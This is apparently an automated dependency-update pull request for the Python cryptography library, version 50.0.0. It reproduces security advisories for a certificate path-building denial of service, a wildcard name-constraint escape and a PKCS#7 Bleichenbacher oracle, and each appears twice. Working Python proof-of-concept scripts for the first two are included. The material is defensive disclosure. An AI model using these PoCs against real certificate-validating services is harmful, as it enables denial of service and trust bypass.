chore(deps): update dependency cryptography to v50 [security]

[renovate]

This PR contains the following updates:

Package	Update	Change	OpenSSF
cryptography (changelog)	major	==48.0.1 → ==50.0.0

---

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww
• https://github.com/pyca/cryptography/pull/14960
• https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582
• https://github.com/pyca/cryptography

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c
• https://github.com/pyca/cryptography/pull/14888
• https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2
• https://github.com/pyca/cryptography

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

python-cryptography: Duplicate self-signed intermediates can cause exponential path-building

CVE-2026-69249 / GHSA-jwv3-5hgf-82ww / PYSEC-2026-3553

More information

Details

Summary

When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details

The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.

    fn build_chain_inner(
        &self,
        working_cert: &VerificationCertificate<'chain, B>,
        current_depth: u8,
        working_cert_extensions: &Extensions<'chain>,
        name_chain: NameChain<'_, 'chain>,
        budget: &mut Budget,
    ) -> ValidationResult<'chain, Chain<'chain, B>, B> {
        if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
            name_chain.evaluate_constraints(&nc.value()?, budget)?;
        }

        // Look in the store's root set to see if the working cert is listed.
        // If it is, we've reached the end.
        if self.store.contains(working_cert) {
            return Ok(vec![working_cert.clone()]);
        }

        // Check that our current depth does not exceed our policy-configured
        // max depth. We do this after the root set check, since the depth
        // only measures the intermediate chain's length, not the root or leaf.
        if current_depth > self.policy.max_chain_depth {
            return Err(ValidationError::new(ValidationErrorKind::Other(
                "chain construction exceeds max depth".into(),
            )));
        }

        // Otherwise, we collect a list of potential issuers for this cert,
        // and continue with the first that verifies.
        let mut last_err: Option<ValidationError<'_, B>> = None;
        for issuing_cert_candidate in self.potential_issuers(working_cert) {
            // A candidate issuer is said to verify if it both
            // signs for the working certificate and conforms to the
            // policy.
            let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
            match self.policy.valid_issuer(
                issuing_cert_candidate,
                working_cert,
                current_depth,
                &issuer_extensions,
            ) {
                Ok(_) => {
                    match self.build_chain_inner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
          for issuing_cert_candidate in self.potential_issuers(working_cert) {
          . . .
                  Ok(_) => {
                      if seen_valid_issuers.contains(&issuing_cert_candidate) {
                         continue;
                      }
                      seen_valid_issuers.push(issuing_cert_candidate);
 
                      match self.build_chain_inner(
                          issuing_cert_candidate,
                          // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619 
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s,       -> 4,8,rejected,0.002410
5,7,timeout>5s,       -> 5,7,rejected,0.002640
6,6,timeout>5s,       -> 6,6,rejected,0.002829

PoC

The following script benchmarks processing times for malicious cert chains.

import datetime
import multiprocessing
import time

import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
    DNSName,
    PolicyBuilder,
    Store,
    VerificationError,
)

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=True,
    crl_sign=True,
    encipher_only=False,
    decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
    digital_signature=True,
    content_commitment=False,
    key_encipherment=False,
    data_encipherment=False,
    key_agreement=False,
    key_cert_sign=False,
    crl_sign=False,
    encipher_only=False,
    decipher_only=False,
)

def name(common_name):
    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])

def base_builder(subject, issuer, public_key, serial):
    return (
        x509.CertificateBuilder()
        .subject_name(subject)
        .issuer_name(issuer)
        .public_key(public_key)
        .serial_number(serial)
        .not_valid_before(NOW - datetime.timedelta(days=1))
        .not_valid_after(NOW + datetime.timedelta(days=30))
    )

def make_ca(common_name, serial):
    private_key = ec.generate_private_key(ec.SECP256R1())
    subject = name(common_name)
    cert = (
        base_builder(subject, subject, private_key.public_key(), serial)
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
        .add_extension(CA_KEY_USAGE, True)
        .add_extension(
            x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
            False,
        )
        .sign(private_key, hashes.SHA256())
    )
    return private_key, cert

def make_leaf(issuer_key, issuer_cert):
    private_key = ec.generate_private_key(ec.SECP256R1())
    return (
        base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
        .add_extension(EE_KEY_USAGE, True)
        .add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
        .add_extension(
            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
            False,
        )
        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
        .sign(issuer_key, hashes.SHA256())
    )

def build_material():
    looping_key, looping_ca = make_ca("looping self-signed CA", 1)
    _, unrelated_root = make_ca("unrelated trust anchor", 2)
    leaf = make_leaf(looping_key, looping_ca)
    return leaf, looping_ca, unrelated_root

def verify_case(duplicates, max_depth, queue):
    leaf, looping_ca, unrelated_root = build_material()
    verifier = (
        PolicyBuilder()
        .store(Store([unrelated_root]))
        .time(NOW)
        .max_chain_depth(max_depth)
        .build_server_verifier(DNSName("example.com"))
    )

    start = time.perf_counter()
    try:
        verifier.verify(leaf, [looping_ca] * duplicates)
        result = "accepted"
    except VerificationError:
        result = "rejected"
    queue.put((result, time.perf_counter() - start))

def run_case(duplicates, max_depth):
    queue = multiprocessing.Queue()
    process = multiprocessing.Process(
        target=verify_case,
        args=(duplicates, max_depth, queue),
    )
    process.start()
    process.join(TIMEOUT)

    if process.is_alive():
        process.terminate()
        process.join()
        print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
        return

    result, elapsed = queue.get()
    print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")

if __name__ == "__main__":
    print("duplicates,max_depth,result,seconds")
    for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
        run_case(*case)

Impact

This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww
• https://github.com/pyca/cryptography/pull/14960
• https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582
• https://github.com/pyca/cryptography
• https://pypi.org/project/cryptography
• https://github.com/advisories/GHSA-jwv3-5hgf-82ww
• https://nvd.nist.gov/vuln/detail/CVE-2026-69249

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtrees

CVE-2026-69248 / GHSA-m2h6-j472-rp4c / PYSEC-2026-3554

More information

Details

Summary

If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.

PoC

#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.

Setup:
  Sub-CA permitted constraint: dNSName = foo.example.com
  Leaf SAN:                    dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
    PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)

now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)

def build(subject, issuer, key, issuer_key, ca, exts=()):
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(key.public_key())
         .serial_number(x509.random_serial_number())
         .not_valid_before(now - 30 * day)
         .not_valid_after(now + 3650 * day)
         .add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
    for e, c in exts:
        b = b.add_extension(e, c)
    return b.sign(issuer_key, hashes.SHA256())

##### Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)

##### Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
    permitted_subtrees=[x509.DNSName("foo.example.com")],
    excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])

##### Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])

##### Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
    x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
    x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
    PolicyBuilder()
    .store(Store([root]))
    .time(now)
    .extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
    .build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
    v.verify(leaf, [sub])
    print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
    print(f"EXPECTED: VerificationError: {e}")

Impact

Acceptance of invalid certificate chain.

Severity

• CVSS Score: 6.9 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c
• https://github.com/pyca/cryptography/pull/14888
• https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2
• https://github.com/pyca/cryptography
• https://pypi.org/project/cryptography
• https://github.com/advisories/GHSA-m2h6-j472-rp4c
• https://nvd.nist.gov/vuln/detail/CVE-2026-69248

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

1. invalid RSA padding → Decryption failed
2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
3. correct length, wrong key → Invalid padding bytes.
4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5
• https://github.com/pyca/cryptography/pull/15369
• https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f
• https://github.com/pyca/cryptography

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle through distinguishable errors and timing

CVE-2026-69247 / GHSA-g6cj-pr64-35w5 / PYSEC-2026-3552

More information

Details

Summary

pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime reported the
outcome of decrypting a RecipientInfo's encryptedKey in several
distinguishable ways, one of which disclosed the exact length recovered from the
RSA operation. The same distinction was also observable by timing. An
application that decrypts attacker-supplied EnvelopedData and reflects the
outcome gives the attacker a Bleichenbacher oracle against the
content-encryption key.

Introduced in 44.0.0. Fixed in 50.0.0.

Details

Decryption ran as: RSA PKCS#1 v1.5 decrypt of encryptedKey → build an AES
cipher from the result → AES-CBC decrypt and PKCS#7 unpad. Each stage failed
differently, with no RFC 3218 mitigation:

1. invalid RSA padding → Decryption failed
2. valid padding, bad key length → Invalid key size (N) for AES., disclosing N
3. correct length, wrong key → Invalid padding bytes.
4. the real key → plaintext

Case 1 is reachable only where the linked library lacks implicit rejection:
OpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL. On OpenSSL 3.2+, used in our wheels,
invalid padding instead returns a synthetic plaintext of
pseudorandom length, so the error channel does not distinguish conforming
ciphertexts.

Exploitation requires a service that auto-decrypts untrusted EnvelopedData
matching the victim certificate and answers adaptively at high volume, such as
an S/MIME gateway or mail filter.

Fix

Per RFC 3218, the content-encryption algorithm is now resolved before the
private key is used, so the expected key length is known in advance. If the RSA
decryption fails or recovers a key of the wrong length, a random key of the
expected length is substituted and decryption continues down an identical path.
All failures now report identically and perform the same work.

Not addressed by this fix

EnvelopedData does not authenticate its content. Tampering with
encryptedContent alone yields a CBC padding oracle that recovers plaintext at
roughly 256 queries per byte, without recovering any key, on every backend. This
is a property of PKCS#7 rather than of this implementation, cannot be fixed in
the library, and is now documented.

Credit

Reported by @​X1AOxiang.

Severity

• CVSS Score: 8.2 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5
• https://github.com/pyca/cryptography/pull/15369
• https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f
• https://github.com/pyca/cryptography
• https://pypi.org/project/cryptography
• https://github.com/advisories/GHSA-g6cj-pr64-35w5
• https://nvd.nist.gov/vuln/detail/CVE-2026-69247

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

Release Notes

pyca/cryptography (cryptography)

v50.0.0

Compare Source

v49.0.0

Compare Source

---

Configuration

📅 Schedule: (UTC)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.